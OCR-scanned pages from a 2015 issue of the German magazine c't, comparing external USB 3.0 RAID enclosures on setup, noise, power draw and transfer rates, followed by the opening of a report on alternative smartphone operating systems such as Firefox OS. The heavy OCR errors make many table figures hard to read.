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USB-Speicher mit RAID-Funktionen 

RaidSonic lcy Box I B-3620SU3 

Ra idSonic l iefert mit der lcy Box I B-
3620SU3 eine kle ine Vers ion seines 4-Bay­
Model ls .  H ier passen maxima l  zwei Fest­
p latten h ine in .  Wie bei der lcy Box I B-
3640SU3 muss man auch hier Plastik­
henkel anschrauben, um die Platten später 
wieder bequem aus dem Gehäuse ziehen 
zu können.  

Auch d ie Konfiguration ist  identisch: Über 
einen Taster auf der Vorderseite wählt  man 
den RAID-Level aus und bestätigt d ie Aus­
wah l  über einen Taster auf der Rückseite. 
Die JMicron-Software blieb beim Wechsel 
des RAID-Levels regelmäßig hängen - da­
nach befand sich der Verbund i n  einem 
undefin ierten Zustand und l ieß sich nu r  
über d ie Ha rdware-Tasten neu  einste l len .  

H inter einer kle inen Öffnung der Gehäu­
serückseite befindet sich noch ein Schalter 
- d ie g leiche Öffnung haben d ie g roßen 
Gehäuse zwar auch, der Schalter ist dort je­
doch nicht bestückt. Hier ste l l t  man ein, ob 
das Gehäuse beim Ausschalten des PC i n  
den Ruhezustand wechse ln sol l .  De r  d rei­
stufige Lüfter rasselte bei unserem Test­
muster etwas, wurde aber im Automatik­
modus auch bei dauerhaftem Zugriff auf 
d ie P latten nicht so laut wie bei der Vierer­
box. 

Zwei kle ine LEDs auf der Vorderseite 
leuchten bei Aktivität der Platten, zusätz­
l ich zeigen recht schwache grüne LEDs an, 
ob das Gerät per USB oder eSATA verbun­
den ist. 

Die Übertragungsraten l iegen im unteren 
Mittelfe ld; fü r eine Box mit nur zwei Fest­
plattenschächten ist das Gehäuse zu laut. 
Auch d ie Leerlauf-Leistungsaufnahme ist 
mit 5 Watt sehr hoch. 

Bewertung 

0 Sch lafmod us einste l lbar  
0 a ufwendige Festplatten i nsta l lation 
0 hohe Leerla ufleistungsaufnahme 
0 rasse lnder  Lüfter 
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Sharkoon 5-Bay RAI D  Box 

Der Speichergigant Die Sha rkoon 5-Bay 
RAID Box fasst fünf Festplatten. Bestückt 
man sie mit den größten derzeit erhält l i ­
chen Platten mit 6 TByte, kommen maximal  
28 TByte Speicherplatz zusammen - wenn 
man auf sichernde RAID-Level verzichtet 
und die P latten zu einem JBOD zusammen­
schaltet im RAID  5 mit 4-TByte-Piatten blei­
ben immer noch statt l iche 22,4 TByte. 

Die I nsta l lation der P latten ist ei nfach: 
Schrauba rbeit ist nicht notwendig; man 
schiebt d ie P latten einfach in  das Gehäuse 
h ine in und drückt die Klappe zu. Öffnet 
man eine Klappe, schiebt ein Hebel d ie 
Platte nach vorne. 

Den RAID-Level ändern DI P-Scha lter auf 
der Rückseite, danach muss man beim 
nächsten Ei nschalten einen Taster ge­
drückt ha lten. Die Erste inrichtung eines 
RAID  5 klappte bei uns erst, nachdem wir 
a l le P latten einze ln  im S ing le-Modus insta l ­
l iert hatten .  

Als ei nziges Gerät im Test unterstützt die 
Sha rkoon-Box auch zwei oder mehr RAID­
Verbünde in einem Gehäuse; dazu muss 
man sie mit dem JMicron Manager konfi­
gu rieren. E in RAID-S-Verbund aus vier 
Festplatten l ieß sich in  den Vierfach-Boxen 
lesen, die den g leichen RAID-Chipsatz von 
JMicron verwenden. 

Obwoh l  Sharkoon zwei Lüfter verbaut, ist 
d ie Box gefüh l t  nicht lauter a l s  d ie 4-Bay­
Gehäuse. Die zusätzl iche Festplatte erhöht 
jedoch d ie Leistungsaufnahme, auch im 
Ruhezustand. Die Übertragungsleistungen 
l iegen im Mittelfeld, beim Lesen von Daten 
von einem RAID- 1 -Verbund und von ein­
ze lnen Platten jedoch deut l ich unter dem 
Durchschn itt. 

Bewertung 

0 hohe Ka pazität 
0 ei nfache Insta l lation 
0 viele RAID-Level 
0 hohe Leistu ngsaufnahme 

Prüfstand I Externe Festplatten-Gehäuse 

WO MyBook Duo 

Das MyBook Duo ist n icht a l s  Leergehäuse 
erhält l ich, sondern nur  mit WO-Platten be­
stückt - und zwar in den Größen 4, 6 und 
8 TByte und optional mit Thunderbolt-An­
sch luss. Da rin stecken Platten aus WDs 
Red-Reihe mit jewei ls der ha lben Kapazität. 
Mit zwei 6-TByte-Piatten von WD l ief das 
MyBook Duo ebenfa l l s, nicht jedoch mit 
Festplatten anderer Herste l ler oder SSDs. 
Wi l l  man Platten tauschen, muss man den 
Deckel hochklappen, einen Käfig abschrau­
ben und die Platten nach oben aus dem 
Gehäuse ziehen. Die an den mitgel ieferten 
Platten verbauten Schrauben werden fü r 
die Ersatzexemplare gebraucht, um eine 
Lasche zum Herausziehen zu befestigen. 

E inen Ausschalter g ibt es nicht, somit lässt 
sich das MyBook Duo nur  außer Betrieb 
nehmen, indem man den Stecker zieht. Da 
es aber mit 0,3 Sone sehr leise ist und der 
Energiebedarf mit 2,4 Watt im Schlaf­
modus in diesem Test Rekord ist, lässt sich 
das eventue l l  verschmerzen. 

Die Verwa ltung der RAID-Level geschieht 
über die mitgel ieferte WO-Software, die 
auch Laufwerkstests und eine Einste l lung 
des Sleep-Timer anbietet. Zudem l iegt e in 
Backup-Programm dabei, das zur Nutzung 
reg istriert werden muss. Auf Wunsch lässt 
sich das gesamte Laufwerk versch l üsse ln .  
Größtes Manko des MyBook Duo ist, dass 
sich Platten aus einem RAID-1 -Verbund 
nicht an normalen USB-Adaptern aus lesen 
lassen. 

Bei den Durchsatzmessungen l iegt das 
MyBook Duo in  der Spitzengruppe, im 
RAID  0 erreicht es Werte von über 200 
MByte/s. Das MyBook Duo eignet sich 
vor a l lem fü r Anwender, d ie ungerne 
schrauben. 

Bewertung 

0 Passwortsch utz mög l ich 
0 Backu p-Progra m m  i m  Lieferu mfang 
0 lä uft n u r  mit WD-Festplatten 
0 RAID 1 nicht kom patibel 
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Prüfstand I Externe Festplatten-Gehäuse 

RAID 
MODE 

POWER 

�� �� �� 
RAIDO RAID1  JBOD 

USB 3.0 

Etwas fummel ig, aber klar: die RAID­
Einste l lung des Ra idOn GR2660-B3 

gelesenen Bits. Beim kompletten Aus lesen 
g roßer RAIDs ist e in solcher Fehler a l lerd ings 
n icht mehr unwahrschein l ich. 

Zudem sol lte man im H interkopf behalten, 
dass ein RAI D-System nu r  vor dem Ausfa l l  
e iner Festplatte schützt, nicht aber vor de r  ei­
genen Unachtsamkeit oder einem Schäd l ing .  
Es ersetzt kein  Backup - wobei  d ie  Daten­
sicherung bei den mit unseren Testgeräten 
mögl ichen Mu l ti-Terabyte-Systemen keine 
einfache Aufgabe mehr ist. 

RAI D-Verwaltung 

Be i  fast a l len Gehäusen ste l l t  man den pas­
senden RAID-Level über D I P-Schalter oder 
Taster d i rekt am Gerät ein, be i  e in igen Gerä­
ten muss man beim Ein- oder Ausscha l ten 
zusätzl ich e inen Tester drücken, bevor der 
e ingeste l lte Modus aktiv wird .  WDs MyBook 
Duo und Drobo Mini haben keine Bed ienele­
mente, s ie werden per Software eingeste l l t .  

A l le  Gehäuse mit vier oder mehr 3,5-Zoi i ­
Steckplätzen und d ie lcyBox I B-3620SU3 ent­
ha lten einen Contro l ler  von JMicron. Sie las­
sen sich desha lb  auch über den JMicron HW 
RAID Manager konfigu rieren, den man bei [4] 
herunterJaden kann.  Der RAID-Manager ste l l t  
n icht nu r  den RAID-Level ein, sondern etwa 
auch d ie Zeit, nach der d ie Gehäuse in den 
Schlafzustand wechseln so l len .  

I nteressant ist d ie  Mög l ichkeit, über den 
JMicron-Manager in  einem Gehäuse mehr a l s  
e inen RAID-Verbund anzu legen.  So kann  
man etwa fü r wichtige Daten ein RAID  1 kon­
figu rieren und ein RAID  0 a l s  schne l len Zwi­
schenspeicher. Der Windews-Exp lorer zeigt 
daraufh in zwei Laufwerke. Die Option funk­
t ionierte im  Test jedoch led ig l ich mit der  
Sha rkoon-Box - be i  den anderen Gehäusen 
füh rten unsere Versuche nicht zum Erfo lg .  

Der Wechsel des RAI D-Modus ohne Da­
tenver lust ist  nu r  beim Drobo Min i  mögl ich .  
Be i  a l len anderen Gehäusen gehen du rch die 
Wah l  e ines anderen RAI D-Level sämtl iche 
Daten ver loren. Hatten wir schon erwähnt, 

mehr  a l s  250 MByte/s . Fast doppelt  so 
schne l l  wird es mit dem USB Attached SCSI 
Protocol (UASP). UASP funkt ion iert unter 
Mac OS, a ktue l len L in ux-Vers ionen und 
Windows 8 . 1  a utomatisch - sofern sowoh l  
Hastadapter a l s  auch Storage-Device UASP 
unterstützen .  Bei Windows 7 muss man dazu 
den passenden Treiber fü r den USB-Control­
ler  auftre iben. 

UASP kommt a l lerdings erst bei SSDs zum 
Tragen .  Beim Einsatz konventione l le r  Mag­
netplatten ist UASP kein  Thema: Sel bst im 
schnel len RAID-0-Verbund schaffen Festplat­
ten nicht deut l ich über 200 MByte/s. 

dass RAID  kein  Backup ersetzt? Einsatz von SSDs 

E i n bau 

Nach  dem Einbau der Festplatten i n  die Ge­
häuse und der E instel l u ng des RAI D-Level 
steht die E inrichtung unter Windows aus. Al­
leine die Datenträgerverwa ltung führte beim 
Test nicht in a l len Fä l len zum Erfo lg; d ie Pa r­
titionen l ießen sich nicht formatieren. 

Dann  h i l ft es nu r, d ie komplette Partit ion 
mit dem Kommandozei len-Tool d iskpa rt zu 
löschen [5]. Ansch l ießend kann  man die Pa r­
t it ion neu erste l len, formatieren und i h r  
einen Laufwerksbuchstaben zuweisen. 

Ansc h l usswa h l  

U S B  hat sich mit d e r  Version 3.0 z u r  besten 
Wah l  bei der Anbindung externer Speicher 
gemausert. eSATA ist wie F i reWi re praktisch 
ausgestorben, und Thunderbolt ist nu r  bei 
Apple-Rechnern verbreitet [6] . So ganz pro­
blemlos läuft es aber auch mit USB 3.0 nicht. 
Bei Verbindungsproblemen ist es ratsam, zu­
nächst a l l e  Treiber zu aktua l is ieren und  
zudem d ie USB-Energiesparoptionen abzu­
scha lten; auch der Austausch des Kabels 
kann  helfen. 

Wir haben a l le Messungen per USB du rch­
gefüh rt und aussch l ieß l ich sequenzie l l e  
Messungen d u rchgefüh rt - auf  so  g roßen 
Festplatten dü rften vor a l l em g roße Daten­
mengen landen.  USB 3.0 erreicht eine maxi­
ma le  Transferrate von kna pp 500 MByte/s . 
Mit dem klassischen USB-BOT-Modus (Bu l k  
On l y  Transport) erreicht man jedoch kaum 

Kommt e s  auf Geschwind igkeit a n, wäh l t  
man heute statt e iner Festplatte e ine SSD.  
SSDs passen i n  unsere Gehäuse notfa l l s  per  
Adapter, s ie  müssen ih re Daten aber über die 
im Verg leich zu SATA lahme USB-Schnittstel ­
le  übertragen .  Zudem ste l l en e in ige Boxen 
i ntern nu r  e inen SATA- 1 1 -Ansch luss  bereit, 
der d ie SSDs auf unter 300 MByte/s bremst. 

Den schne l len UASP-Modus beherrschen 
nur vier Gehäuse: die beiden Ra idOn­
Model le  GR2660-B3 und GR3660-B3 das 
Fantee 1 1  R-35DU3-69 sowie d ie l cyBox I B-
32 1 9STU3-B. Im  RAID-0-Modus erreichten sie 
Übertragungsraten von rund 430 MByte/s. 
A l l e  anderen Gehäuse lagen mit rund 260 
MByte/s deut l ich darunter, das Drobo Min i  
schaffte be im Schreiben gar nur  d ie Hä lfte. 

Als externer Speicher kommen SSDs 
damit vor a l lem infrage, wenn interne Erwei­
terungsmög l ichkeiten feh len .  

Fazit 

Wer auf Nummer sicher gehen möchte und 
mit maxima l  6 TByte auskommt, wäh l t  ein 
Gehäuse mit zwei Steckplätzen und erste l l t  
e in RAID 1 . 1 n diesem Modus l iegen d ie Über­
tragungsraten auf e inem ähn l ichen N iveau, 
d ie Gehäuse unterscheiden sich fast nur bei 
Leistungsaufnahme und LärmpegeL Leise 
und energiesparend sind das WO MyBook 
Duo und das Ra idOn GR2660-B3 mit 2,5-Zoi i ­
P iatten, das aber im RAID  1 maximal 2 TByte 
bereitste l l t  und  deut l ich langsamer i st. Mit 
0,8 Sone im Leer lauf schon ziem l ich laut ist 

RAI D-Boxen - seq uenziel le  Transferraten 
RAID 0 lesen RAID 0 schreiben RAID l lesen RAI D 1 schreiben RAID S iesen 
(Mittel/Maximum) [MByte/s] (Mittel/Maximum) [MByte/s] (Mittel/Maximum) [MByte/si (Mittel/Maximum) IMByte/sl (Mittel/Maximum) I MByte/si 
besser ..,. besser .,. besser • besser • besser .., 

Orobo Mini - 92/92 - 51/53 - 91/92 
Fantee MR-35DU3-6G 1 8211 89 1 5811 64 - 1 1 21142 - 1 1 2/149 
Fantee QB-35US3R 1 39/140 144/149 - 1 051139 - 1 0911 36 1 3811 39 
RaidOn GR2660-B3 1 44/1 83 1 40/174 - 73/94 - 72/94 
RaidOn GR3660-B3 1 81/ 188 1 56/1 61 - 1 1 0/140 - 1 1 0/145 
RaidSonic lcyBox I B-321 9STU3-B 1 86/1 94 1 86/1 98 - 1 0911 39 - 1 09/1 35 
RaidSonic lcyBox I B-3620SU3 1 3811 38 1 39/143 - 1 08/141 - 1 0711 34 
Raidsonic lcybox IB-3640SU3 149/1 51  1 4911 53 - 1 08/141 - 1 1 11141 1 48/149 
Sharkoon 5-Bay RAID Box 141/142 1 42/145 - 1 05/123 - 1 09/1 36 1 44/145 
5tartech SAT3540U3ER 1 3811 38 1 39/143 - 1 04/1 26 - 1 0911 37 1 3711 38 
WD MyBook Duo 1 89/202 1 86/200 - 1 09/146 - 1 09/147 
Al le Messungen mit h2Benchw an einem Asus Z87-A mit I ntel Core i7-4770K (3,4 GHz) und 16 GByte RAM mit dem Onboard-USB-3.0-Anschluss, 3,5-Zoi i -Gehäuse mit WD WD30EFRX, 2,5-Zoi i-Gehäuse mit HGST 5K1 000 bestückt 
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USB-3 .0-Gehäuse fü r zwei bis fü nf Festplatten 
Modell 

Herstel ler 
Webseite 

Anzahl 
Schächte I 
Format 
USB 3.0 I 
eSATA / Thun­
derbolt 
UASP 
RAID-Level 

max. Festplat­
tengröße 
Größe 
(L X B x  H) 

Leergewicht 
standardisier­
tes RAID 1 / 5  

Mini 

Drobo 
www.drobo 
store.com/ 
4 / 2,S" 

v 1 - lv 

1 , 5, 6 

2 TByte 

1 87 mm x  
45 mm x 
1 80 mm 
10 14 g 
- / -

SMART-Daten v3  

MR-3SDU3-6G QB-3SUS3R 

Fantee Fantee 
www.fantec.de 

2 / 3,5" 

v l - 1 -

v 
0, 1 , JBOD, 
Single 
6 TByte 

130 mm x 
1 1 7  mm x 
21 0 mm 
1 876 g 
v / n .v. 

www.fantec.de 

4 / 3,5" 

v iv ! -

0, 1 , 3, 5, 1 0, 
JBOD 
6 TByte 

1 26 mm x  
1 66mm x 
215 mm 
1613  g 
v iv ! -

GR2660-B3 

RaidOn 
www.raid 
soni<.de 
2 / 2,5" 

v l - 1 -

v 
0, 1 , JBOD, 
Single 
2 TByte 

1 05 mm x 
34 mm x 
1 74mm 
491 g 
v / n .v. 

GR3660-B3 

Raid On 
www.raid 
sonic.de 
2 / 3,5" 

v / - / -

v 
0, 1 , Single 

6 TByte 

64 mm x 
200 mm x 
1 20mm 
836 g 
v / n.v. 

lcy Box IB- lcy Box IB-
321 9STU3-B RD3620SU3 

RaidSoni< RaidSonic 
www.raid 
sonic.de 
2 /  3,5" 

v l - 1 -

0, 1 , JBOD, 
Single 
6 TByte 

130 mm x 
80 mm x 
200mm 
609 g 
v / n.v. 

www.raid 
sonic.de 
2 / 3,5" 

v iv ! -

0, 1 , J BOD, 
Single 
6 TByte 

90 mm x 
1 60 mm x  
21 0 mm 
1 1 1 1  g 
v / n .v. 

Prüfstand I Externe Festplatten-Gehäuse 

lcy Box iB­
RD3640SU3 

Raidsonic 
www.raid 
sonic.de 
4 / 3,5" 

v !v 1 -

0, 1 , 3, 5, 1 0, 
JBOD, Single 
6 TByte 

1 26 mm x  
1 66 mm x  
215 mm 
1 601 g 
v iv 

S-Bay RAI D  
Box 

Sharkoon 
www.sharkoon. 
com 
5 I 3,5" 

v iv ! -

0, 1 , 3, 5, 1 0, 
J BOD, Single 
6 TByte 

265 mm x 
130 mm x 
1 85 mm 
3466 g 
v iv 

SAT3S40U3ER MyBook Duo 

Startech WO 
www.startech. 
com 
4 / 3,5" 

v iv ! -

0, 1 , 3, 5, 1 0, 
J BOD 
6 TByte 

1 26 mm x  
1 70 mm x 
215 mm 
1 869 g 
v iv 

www.wdc.com 

2 / 3,5" 

v l - 1 -

0, 1 , Single 

6 TByte 

99 mm x 
1 65 mm x  
157 mm 
871 g 
- / n.v. 

Leistungsauf­
nahme1 · 1 

1 7,1 / 1 6,9 I 3,8 I 8.3 / 1 0,5 I 8,5 / 21 , 1  / 23,6 2,5 / 3,8 / 6  I 6 3,8 / 1 1 / 1 5 / 1 5 3,1 / 9,6 / 1 2,4 / S / 1 3,8 / 1 5,4 / 7,6 / 21 ,3 / 24 /  1 2,8 / 31 ,2 /  7,4 / 22,1 / 25,6 2,4 / 1 1 ,9 / 1 5,8 
23,5 / 23,5 w 1 0,5 w / 23,6 w w w 1 2,4 w 1 5,4 w 24 w 34,6 / 34,6 w 1 25,6 W I 1 5,8 W 

Geräusch I d ie I 
Seek 1 

0,36 I 0,46 Sone 0,84 I 1 Sone 1,2 / 1 ,3 Sone 0,4 I 0,4 Sone 0,6 I 0,7 Sone 0,4 I 0,5 Sone 0,6 I 0,7 Sone 

max. Tempo HDD 
Straßenpreis 
weitere Preise 

39,S OC 

350 € 
750 € (mit 4 2-
TByte-Piatten) 

3 1 ,6 oc 

130 € 
250 € mit Ver­
schlüsselung 

39.4 oc 

8S € 

31 ,5 oc 

85 € 

38,8 oc 

SO € 

31 ,2 oc 

70 € 

v vorhanden - nicht vorhanden n.  v. nicht verfügbar 
1 bei Vollbestückung, 2-Bay-Modelle im RAID 1, a l le anderen im RAID 5 3 über Drobo Dashboard 
1 Leistungsaufnahme im Schlaf, Leerlauf sowie lesend und schreibend 4 über JMicron HW RAID Manager 

5 nur vom unteren Laufwerk 
6 über WO Smartware 

Fantees MR-35DU3-6G; Ra idsonics lcyBox I B-
3620SU3 sch l uckt doppelt so viel Strom wie 
das MyBook Duo. Bei Letzterem sind Daten 
eines RAID  1 a l lerd ings  verloren, wenn das 
Gerät ausfä l lt und sich nicht mehr repa rieren 
oder ersetzen lässt. 

Deut l ich mehr P latz bieten die Gehäuse 
mit vier oder fünf Steckplätzen - das Mehr an  
Festplatten bedeutet aber auch ein Mehr  an  
Leistungsaufnahme und Lä rm. Am flexibels­
ten ist d ie Sha rkoon 5-Bay RAID  Box, d ie sich 
zudem mitte l s  Software i n  zwei RAID-Ver­
bünde trennen lässt. Bei den fast baug le i­
chen 4-Bay-Boxen von Fantec, Ra idsonic und 
Sta rtech kann man s ich am Preis orientieren 
- dabei gewinnt das Ra idsonic, das seine 
Festplatten zudem auf Wunsch einze ln  zum 

PC führt. A l lerd ings wecken d ie zah l reichen 
Kompatib i l itätsprobleme d ieser Geräte, un­
dokumentierte Funkt ionen und rust ika l e  
RAID-Leve l -Umscha l tung kein  Vertra uen -
und darum geht es bei Massenspeicher ja 
auch. I nsgesamt müssen wir bei al len Boxen 
e ine zu hohe Leistungsaufnahme bemän­
geln, vor a l lem im Leerlauf. 

Das Drobo M in i  ist e in  Spezia l l fa l L  Es 
überzeugt d u rch e ine du rchdachte RAI D­
Konfigu rat ion und lässt s ich einfach erwei­
tern, zeigt a ber  die n ied rigsten Übertra­
gungsraten. Wer sich nicht mit RAID-Levels  
herumärgern möchte, fi ndet im  M in i  e in  
passendes Gerät, dessen Ü bertragu ngs­
geschwind igkeit am  Mac per Thunderbolt  
letzt l ich steigt. ( l l@ct.de) 

RAID S schreiben RAID 10 lesen RAID 10 schreiben JBOD iesen JBOD schreiben 

1 I 1 Sone 

33,0 oc 
1 00 € 

Literatu r  

1 I 1 , 1  Sone 

32.4 oc 

1 40 € 

0,9 I 1 Sone 

30,n 
1 75 € 

0,3 I 0,3 Sone 

38,9 oc 
230 € (4 TByte) 
300 € (6 
TByte). 350 € 
(8 TByte). S30 
€ ( 12 TByte) 

[ 1 ]  Ch ristof Windeck, Welches RAID-Level fü r viele 
Tera bytes?, Hot l i ne-Me l d u n g  auf heise.de/ 
-205673 1 

[2] Axe l Va h ldiek, Mitwachsende Date n p latte, 

"5peicherplätze" u nter Windows 8, c't 4/1 3, S. 86 
[3] Ch ristof Windeck, Bitfä u le, Tücken bei Speiche­

rung u n d  Ü bertragung g roßer Daten m assen, 
c't 2 1 /1 3, S. 1 76 

[4] J M ic ron HW RAID Manager, www. heise.de/ 
download/jmicron-hw-raid-manager- 1 1 95850. 
html  

[5] Stefan Porteck, Festplatte mit Fernseher verhei­
ratet, Hot l i ne-Meldung auf heise.de/- 1 274832 

[6] Ch rist ian H i rsch, Abgebl itzt, Th underbolt 2 am 
Windows-PC, c't 1 /1 5, S. 67 

Single lesen Single schreiben 
(Mittel/Maximum) [MByte/si (Mittel/Maximum) [MByte/si (Mittel/Maximum) [MByte/si (Mittel/Maximum) [MByte/si (Mittel/Maximum) [MByte/si (Mittel/Maximum) [MByte/si (Mittel/Maximum) [MByte/si 
t.s ... . be�ser • besse< • �ser • b- · �ser • b- · 

- 71/72 
- 1 1 6/154 - 1 1 6/156 - 1 1 1 /1 42 1 1 3/152 

- 1341139 1 39/140 - 1301136 - 1 1 8/144 - 1 1 11138 
- 80/1 05 - 80/1 05 - 73/94 - 73/94 

- 1 1 0/138 - 1 1 1 /1 48 
- 1 07/140 - 1 1 4/145 - 1 09/140 - 1 1 5/143 
- 1 08/1 36 1 1 2/142 - 1 05/133 - 1 1 0/144 

141/147 1 S 1 /152  1 38/144 - 1 1 5/144 1 1 91153 1 08/144 - 1 1 2/149 
1 43/147 141/142 1 3211 37 - 1 1 8/141 1 2 1 /145 - 1 04/1 21 1 1 0/142 

- 1331138 1 3711 38 - 1301134 - 1 1 11136 - 1 1 8/142 
- 1 1 0/143 - 1 1 1 /1 49 

ct 
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Ach i m  Barczok 

Artenvielfa lt 
S m a rtphone-Betriebssysteme a bseits des M a i n strea m 

And roid, iOS und Windows Phone domin ieren d ie Smartphone-Welt. 
Doch abseits der d rei G roßen g ibt es aufstrebende U nderdogs: Die e inen 
versprechen ein offenes System und Mitspracherecht fü r Nutzer, die 
anderen locken m it spezie l len Funkt ionen fü r Bus iness oder Bastler. 

c't 201 5, Heft 5 



F reiheit fü r Smartphones, das 
fordert Tri stan Nitot, und 

dafü r  wi l l  e r  kämpfen .  Der Eu­
ropa-Chef der Browser-Schmie­
de Mozi l l a  hat es satt. dass iOS 
und Windows Phone versch los­
sen sind und selbst Goog le den 
u rsprüng l ichen offenen Ansatz 
von Android immer weiter e in­
schränkt. 

Wer sich heute ein Sma rt­
phone kauft, darf oft nu r  vom 
Betriebssystem-Herste l l e r  ge­
nehmigte Software insta l l ieren. 
E r  so l l  dessen Browser, Ma i i ­
C i ient und C loud-Dienst benut­
zen und doch bitte schön F i lme, 
Mus ik und Apps d i rekt in dessen 
Shop kaufen .  Und der B l ick in 
den kompletten Que l l text ist 
schon gar nicht er laubt. 

Apple, Microsoft und Goog le 
machen i h re Nutzer systema­
tisch abhängig .  Sie wol len gerne 
an  jedem Touch des Nutzers mit­
verdienen und ihm den Wechsel 
zu anderen Systemen so schwer 
wie mögl ich machen. Dabei gän­
ge ln sie nicht nur  ih re Anwender, 
sondern auch App-Entwickler: 
Bei Apple beispie lsweise reicht 
schon d ie Erwähnung eines kon­
kurr ierenden Mobi l betriebssys­
tems im Besch reibungstext, und 
d ie App fl iegt aus dem Store. 

Tristan N itot wi l l  das ändern 
und d ie versch lossene Sma rt­
phone-Welt  öffnen .  Das Sma rt­
phone-Betriebssystem von Mo­
zi l l a  heißt F i refox OS, und es ba­
siert auf dem Fi refox-Browser fü r 
Desktop-Rechner. Es so l l  d ie Tu­
genden der Desktop-Software 

Fi refox OS: offenes System, 
Apps in  HTMLS programmie­
ren, günstige Smartphones 

c't 20 1 5, Heft 5 

auf Mobi lgeräte übertragen :  
Que l loffene Software, a n  der 
jeder mitwerke ln  kann  und d ie 
jeder  Herste l l e r  l izenzfrei fü r 
sei ne Smartphones benutzen 
da rf. Apps werden mit offenen 
Webtechn iken geschrieben: Wer 
e inmal  an einer Webseite gebas­
telt hat, kann Anwendungen fü r 
F i refox OS bauen.  

Gegen d ie Übermacht von 
Apple, Goog le und Microsoft an­
zukämpfen ist n icht einfach, aber 
F i refox OS hat es schon weit ge­
bracht: Das System ist längst kein 
Konzept am Reißbrett mehr, son­
dern läuft auf Smartphones ver­
schiedener Herste l le r  und ist in 
Dutzenden Ländern erhält l ich. l n  
Deutschland stehen g leich meh­
rere Geräte zur Auswah l .  Wer un­
abhängig von den g roßen Her­
ste l lern sein möchte, kann  jetzt 
schon Alternativen kaufen. 

Alternativen 
zur  Ü bermacht 

F i refox OS ist n icht der e inz ige 
Underdog, der s ich den Großen 
entgegenste l l t. Auch andere 
s ind davon überzeugt, dass es 
manchen Anwendern nicht egal 
ist, dass sie in  einem streng kon­
tro l l ierten Betriebssystem festsit­
zen und dass es Nutzerprofi l e  
abseits des  Mainstream g ibt, d ie  
nicht i n  das Raster von  And roid, 
iOS und Windows Phone passen. 

Die Entwickler der L inux-Dis­
tri but ion Ubuntu zum Beispie l  
wo l len L inux-Anwender mit 
einer schicken Smartphone- und 

Sai lfish OS:  sma rte Gesten­
steuerung, Code und Hardware 
anpassen erlaubt 

Tablet-Oberfläche locken. Geräte 
g ibt es anders als bei F i refox OS 
noch n icht, man kann  sich das 
System aber auf e in ige Android­
Geräte spielen. Demnächst wi l l  
d e r  spanische Herste l l e r  B Q  e in 
Smartphone mit Ubuntu i n  
Deutsch land verkaufen.  

Ehema l ige Nokia-Mita rbeiter 
haben das Sta rt-up Jol la gegrün­
det und setzen ih re Arbeit an  frü­
heren Nokia-Projekten im  offe­
nen Betriebssystem Sai lfi sh OS 
fort. Das Jo l la Phone ist das erste 
Smartphone mit Sai lfish OS, e in 
Jo l l a  Tab let so l l  ba ld fo lgen .  
Tizen i s t  dagegen aus den Bemü­
hungen mehrerer Herste l ler  ent­
standen :  Das un iverse l l e  Be­
tr iebssystem findet man in 
Smartwatches, Kameras und zu­
künftig i n  Smart TVs; das bisher 
einzige Smartphone ist nur i n  l n­
dien erhält l ich. 

Aus dem Rahmen der offenen 
Systeme fä l l t  ein a lter Bekannter: 
B lackBerry gehörte ein ige Jahre 
zu den g roßen Herste l lern, wur­
de dann aber abgehängt. Das 
Unternehmen hat seine Hard­
ware und Software renoviert und 
wi l l  wieder mitmischen - mit be­
sonderem Blick auf Business-Kun­
den. 

G ute Arg umente 

Wer e in Rundum-Sorg los-Paket 
möchte, l iegt bei den Sma rt­
phone-U nderdogs fa lsch. Die 
schnel l sten Prozessoren, d ie bes­
ten Kameras und die schönsten 
Displays g ibt es nur mit Android, 

Tizen: Betriebssystem 
von Smartphone bis 
Mikrowel le 

Report I Smartphone-Systeme 

Smartphone-
Systeme 

F i refox OS S. 1 1 0  

Sai lfish OS s. 1 1 2  

Tizen S. 1 1 3  

Ubuntu S. 1 1 4 

B lackberry s. 1 1 6  

Die Ausgestorbenen S. 1 1 7  

iOS und Windows Phone. Die 
Systeme s ind funktionsreich und 
ausgereift, und auch be im App­
Angebot l iegen sie weit vorn. Al­
lenfa l l s  B lackBerry und Sai lfish 
OS können ein igermaßen mit­
ha lten mit einem Trick: Darunter 
laufen auch Android-Apps. 

Trotzdem g ibt es gute Argu­
mente fü r d ie  Underdogs. Zum 
einen bieten s ie interessante 
Funktionen, die man woanders 
nicht bekommt: Ubuntu hat eine 
innovative Oberfläche, beim 
Jo l l a  Phone g ibt es e ine Ha rd­
wa re-Schnittstel le, über die man 
Ardu ino  und sel bst gebastelte 
Gadgets an  das Smartphone an­
sch l ießen kann .  Bei F i refox kann 
man am System mitentwicke ln  
und  B lackBerrys s ind ausge­
machte Messag i ng-Maschinen, 
d ie  s ich pr ima ins  Geschäfts­
leben einbinden lassen. 

Vor a l l em aber ist es d ie Lust 
am Neuen und Ungewöhnl ichen: 
Mit einem Underdog ist man 
wirkl ich anders. (acb@ct.de) 

•: oll l ?. if l] 11jil 
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Report I Smartphone-Systeme: F i refox OS 

Ach i m  Barczok Dropbox und l nstagram g ibt es 
fü r F i refox OS nicht. 

Das Offene Ausbl ick 

Mozi l l a  hat  s ich mit mächtigen 
Verbündeten zusammengetan: Fi refox OS: offenes System, Apps in HTM LS 

prog ra m m ieren, g ü nstige Smartpho nes 
Mobi lfunkanbieter wie Telefonica 
oder die Deutsche Telekom ver­
kaufen die eher günstigen Smart­
phones vor a l lem in Südamerika, 
Asien und Osteu ropa in ih ren 
Shops. 

Mozi l la  hat seinen F i refox-Browser in ein Betriebssystem 
fü r Smartphones verwandelt. F i refox OS ist Open Source 
und er laubt jedem, es mitzugesta lten.  

Es g ibt inzwischen aber auch 
in Deutsch land ein paa r  Model le 
zu kaufen, a l l e  im Einsteiger-Seg­
ment bis 1 50 Euro. Trotz der Un­
terstützung der  Provider hat 
man das Gefüh l ,  dass Mozi l l a  
und vor  a l lem den Geräteherste l­
lern e in  bisschen der Schwung 
ausgegangen i st. Die meisten 
Smartphones la ufen noch mit 
dem ein Jahr a lten F i refox OS 1 .3, 
die Nachfolgerversion 1 .4 ist of­
fizie l l  fü r keines verfügba r. Up­
dates rüsten immer noch Funk­
t ionen nach, d ie man eigentl ich 
als vö l l i g  sel bstverständ l ich bei 
Smartphones sieht, zum Beispiel 
d ie  Anzeige von Fotodeta i l s  in 
der  Galerie oder das Speichern 
von SMS-Entwü rfen. (acb@ct.de) 

F i refox OS überträgt Mozi l las 
Idee eines Open-Sou rce­

Browsers in die Weit der Smart­
phones. Wer HTML5 und Java­
Script spricht, kann  an dem 
Open-Sou rce-Projekt sogar tei l­
nehmen und sein mobi les Be­
triebssystem sel bst mitentwi­
ckeln .  H ier kann man tatsächl ich 
t ief unter die Haube schauen und 
beispielsweise mal eben die virtu­
